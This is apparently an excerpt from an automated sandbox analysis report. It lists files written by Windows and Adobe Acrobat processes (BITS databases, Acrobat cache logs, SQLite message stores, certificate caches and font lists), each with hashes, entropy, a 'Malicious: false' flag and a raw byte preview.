Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb327f86c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880356852947538
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:nazaPv4V4fXq2UaB
MD5:	368DA2FEEBB3CA9B980B08F3B49B07FB
SHA1:	C8F1B4369771DBD35FD3FCE71FC307B28841D658
SHA-256:	CA22BDE333430D575A32A970F4EF288A2B159028FE54B354811C2FB668275C94
SHA-512:	35490307454FA371830EF8C887463AC610BFE771263290506703EF19516D17358C08052E867F89616F25AA5ABFD860D22E8A84275DD20C8500AA256F0D265CD4
Malicious:	false
Preview:	.'.l... ...............X\...;...{......................X............{..8....};.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................\.vl8....}.:................rc. 8....}[..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08093576819860498
Encrypted:	false
SSDEEP:	3:uk/llEYeqD4v1XlVG0+q2Iqe8lhn8YQlillNTt/4ll/Q6beV/:ukXEz0SGE8lhnJwGHtc6V
MD5:	C2FB99B74FB607DE3D0A6BCCACD31C2F
SHA1:	D632879A6D3E42D3D5035CD5D23570EA09C45793
SHA-256:	532ECD54E901E073AD3DC4B2564ED15EC3779DE7601AAD2DDE8BFB004B8E3CAA
SHA-512:	8D7EB44B68C9406C8D7212363EFCAC1CB9809C01B8CB06A921A6D7F855563AB1E526C206CA99622639BC84BD2A6FB02719ABDEA1B2DAE8569D34B418095734F4
Malicious:	false
Preview:	L.......................................;...{..8....}[......{...............{.......{....:......{.................rc. 8....}[.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.127217514141946
Encrypted:	false
SSDEEP:	6:iO4Ui4kN+q2PFi2nKuAl9OmbnIFUtSUiL5WZmwsUikiVkwOFi2nKuAl9OmbjLJ:7fkN+vdZHAahFUt5/oV5wZHAaSJ
MD5:	9422A819EDE6224BB0850CC749B92E05
SHA1:	13FB35FDB0693DDF2C2D7D3D3784ADC0394F817B
SHA-256:	A1DBBE6C3C9AB1E55068A165AC4E4FAD9C48C191D2C120FF450EEB4B1062AE95
SHA-512:	43C2C3FD5C298848A61092ED09B6CB1C6428FC57D61F5DF458790D3831B95E4444036A9678BED03F515FB2EE3D6D63073BAB99E1DCF0EF30274206CF82F85FC3
Malicious:	false
Preview:	2025/01/10-12:23:55.312 f0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:23:55.315 f0c Recovering log #3.2025/01/10-12:23:55.316 f0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.127217514141946
Encrypted:	false
SSDEEP:	6:iO4Ui4kN+q2PFi2nKuAl9OmbnIFUtSUiL5WZmwsUikiVkwOFi2nKuAl9OmbjLJ:7fkN+vdZHAahFUt5/oV5wZHAaSJ
MD5:	9422A819EDE6224BB0850CC749B92E05
SHA1:	13FB35FDB0693DDF2C2D7D3D3784ADC0394F817B
SHA-256:	A1DBBE6C3C9AB1E55068A165AC4E4FAD9C48C191D2C120FF450EEB4B1062AE95
SHA-512:	43C2C3FD5C298848A61092ED09B6CB1C6428FC57D61F5DF458790D3831B95E4444036A9678BED03F515FB2EE3D6D63073BAB99E1DCF0EF30274206CF82F85FC3
Malicious:	false
Preview:	2025/01/10-12:23:55.312 f0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:23:55.315 f0c Recovering log #3.2025/01/10-12:23:55.316 f0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.109926511523481
Encrypted:	false
SSDEEP:	6:iO4UoUyq2PFi2nKuAl9Ombzo2jMGIFUtSUOC1ZmwsUOURkwOFi2nKuAl9Ombzo23:7CJvdZHAa8uFUtf1/d5wZHAa8RJ
MD5:	98CDF3B21AB347DA66DBCD31CF65ED5F
SHA1:	F82AAE64D4E20D66D419BEAFA61416541146E81B
SHA-256:	0F538CAA3DD4146487F18CD420C3E6981455F34BED95777CE8FFF67E1FA0C283
SHA-512:	99D5BC249E1D90845B99208409B6693ADEF615967694D87D4F259DE40CD0E3E28D92E45D51D1A8BA5B5C07A753FE40DBE93F0079A5A11D80AB080CBE0B189E76
Malicious:	false
Preview:	2025/01/10-12:23:55.830 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:23:55.832 1c50 Recovering log #3.2025/01/10-12:23:55.832 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.109926511523481
Encrypted:	false
SSDEEP:	6:iO4UoUyq2PFi2nKuAl9Ombzo2jMGIFUtSUOC1ZmwsUOURkwOFi2nKuAl9Ombzo23:7CJvdZHAa8uFUtf1/d5wZHAa8RJ
MD5:	98CDF3B21AB347DA66DBCD31CF65ED5F
SHA1:	F82AAE64D4E20D66D419BEAFA61416541146E81B
SHA-256:	0F538CAA3DD4146487F18CD420C3E6981455F34BED95777CE8FFF67E1FA0C283
SHA-512:	99D5BC249E1D90845B99208409B6693ADEF615967694D87D4F259DE40CD0E3E28D92E45D51D1A8BA5B5C07A753FE40DBE93F0079A5A11D80AB080CBE0B189E76
Malicious:	false
Preview:	2025/01/10-12:23:55.830 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:23:55.832 1c50 Recovering log #3.2025/01/10-12:23:55.832 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0803ff7c-8ebe-4695-944f-54c1bd74ccf5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.973973222440336
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqm2sBdOg2Hecaq3QYiubpP7E4T3y:Y2sRdslbdMHh3QYhbd7nby
MD5:	C048FAE8EAC0DAAF340C6B34F300A82D
SHA1:	E8CEE46B9FBD30BA35521A05FEC9BB464D3A0708
SHA-256:	C88335EDC045FCA67176DE33A172F8718CCC24876EBD875DC0A0C5A0659C7FAD
SHA-512:	42549AE530BDC31D2EE7EDED8DD0ACDC5179D927D65DE514708B9D818A53397706287707359AFF87AD8651D2F01CB5F2C455BDF324DC270F00D11D31E232E1C6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089847005237","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":109200},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.973973222440336
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqm2sBdOg2Hecaq3QYiubpP7E4T3y:Y2sRdslbdMHh3QYhbd7nby
MD5:	C048FAE8EAC0DAAF340C6B34F300A82D
SHA1:	E8CEE46B9FBD30BA35521A05FEC9BB464D3A0708
SHA-256:	C88335EDC045FCA67176DE33A172F8718CCC24876EBD875DC0A0C5A0659C7FAD
SHA-512:	42549AE530BDC31D2EE7EDED8DD0ACDC5179D927D65DE514708B9D818A53397706287707359AFF87AD8651D2F01CB5F2C455BDF324DC270F00D11D31E232E1C6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089847005237","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":109200},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2355453722440695
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVlo6irgK:wshFT0h7cZb2EVKZPEANcGIK5EVlo6iX
MD5:	2BC1F06167369E103972D87E6B45EE11
SHA1:	C5C84A203F010A0F706D7A64F9DCD72BBF7F630D
SHA-256:	6FFC314B9C423C3748781FAAE576451448F2973D903FBFC0B57523D48C2E08BA
SHA-512:	ED30EC546727ACC1C2FACCCA83FD75FD40955084514D37AD808EAC9978756B3FB0230D500CD90E219E6B911DFF4F5CA7DB0CFE831D10E1455220F30EFF88DF2A
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.148615895260057
Encrypted:	false
SSDEEP:	6:iO4UofSyq2PFi2nKuAl9OmbzNMxIFUtSUoa1ZmwsUoMRkwOFi2nKuAl9OmbzNMFd:7qfXvdZHAa8jFUtwa1/mc5wZHAa84J
MD5:	6CDCD580F3A6624C0E5769C874D226E3
SHA1:	E72030139EA46C43C9322682786413CA8CA07F36
SHA-256:	891168C510DBD6F99896ABB63CD657D559E36FA6695BFC43209AB0CEA75F0849
SHA-512:	C96EF8D841C3DFB5FE976A100CD00FCF707F0A43D31BF95FF78F36B2426991E8BBAA5369085C1954E20DEFB9BA20D17A6389ECD8C46527CFFC55DA8AC8EE59A4
Malicious:	false
Preview:	2025/01/10-12:23:55.988 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:23:55.991 1c50 Recovering log #3.2025/01/10-12:23:55.991 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.148615895260057
Encrypted:	false
SSDEEP:	6:iO4UofSyq2PFi2nKuAl9OmbzNMxIFUtSUoa1ZmwsUoMRkwOFi2nKuAl9OmbzNMFd:7qfXvdZHAa8jFUtwa1/mc5wZHAa84J
MD5:	6CDCD580F3A6624C0E5769C874D226E3
SHA1:	E72030139EA46C43C9322682786413CA8CA07F36
SHA-256:	891168C510DBD6F99896ABB63CD657D559E36FA6695BFC43209AB0CEA75F0849
SHA-512:	C96EF8D841C3DFB5FE976A100CD00FCF707F0A43D31BF95FF78F36B2426991E8BBAA5369085C1954E20DEFB9BA20D17A6389ECD8C46527CFFC55DA8AC8EE59A4
Malicious:	false
Preview:	2025/01/10-12:23:55.988 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:23:55.991 1c50 Recovering log #3.2025/01/10-12:23:55.991 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438515330396047
Encrypted:	false
SSDEEP:	384:SeOci5GIiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:xkurVgazUpUTTGt
MD5:	7579D3DC6764C01C6D447741F66D9503
SHA1:	FE64B60BFB60F9E35F70B1090198791CE8747BED
SHA-256:	EFF1F38E2D21FBD059A3C98FB1F96393668391387B6AB4CF59ABADCF3415528C
SHA-512:	078A9CD998F8B83A47006D9451B9D04C4ED4FE2196C102F9F07576B8EB2EE1A750D990684E8E13B82481035A1704A3AB04181559FF424ADA149F02B372F62611
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2129872690405508
Encrypted:	false
SSDEEP:	24:7+t5aB6wKlqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MN:7M5AWlqvmFTIF3XmHjBoGGR+jMz+LhI
MD5:	07970D81AE528B4C6E1962670FEBE556
SHA1:	BBF2ADD34FB95647BD674E2B98B3D0D7B355B14D
SHA-256:	74F09099FE8BBC79775817CD2645CF6D32E95A088B7EA10D0C1DBB1D5F8A65ED
SHA-512:	F14CD7860DF2B58089EBB882DF5D2DA297E931432F9D18B7E61EFE99AD9E4D768714E11407C0428A796D77857F57E0AF538AF5A2AED536CCC1086B58D4F3A3F1
Malicious:	false
Preview:	.... .c.....y1..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFkl3UhilltfllXlE/HT8k2fl7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKA/eT8FJTNMa8RdWBwRd
MD5:	A6F05A0E560572A1F2E3FAE5D4766154
SHA1:	B428EE45E2167C9369F835F1EEF12AF3FA2DFD2A
SHA-256:	5586D4471525192D1CB77213DED73EE8A7794F0B1DA413DA11900C679D7C71CE
SHA-512:	77AF1AEA45E7B23AE6A334144B7C7BAF07421E9D89291D42BB5D242BAEE16DA20D29D33B7B0A26A5EB22AD3244357B9D960CAAD5E21611F1A226306803143294
Malicious:	false
Preview:	p...... ...........q.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK1WL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:kiDImsLNkPlE99SNxAhUe/3
MD5:	0858A2579B5ED9849F8B409C2E2FA307
SHA1:	436C1627D9B35164A0F2766779711EF183E72AF9
SHA-256:	FE3F2841806A536CA17262A4ED0B5D5F23C0C7A2B12373846C27A9AA494894F4
SHA-512:	DC2008A6A0D3B981CBC2C50BBD0495F8B43F091ADF46361F3C93FD7CEEC73E6F1C1D92A8554ECBC6086BC2CB350C691588CE52CB6CFBF7476E47FC2CDD84537B
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7536

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
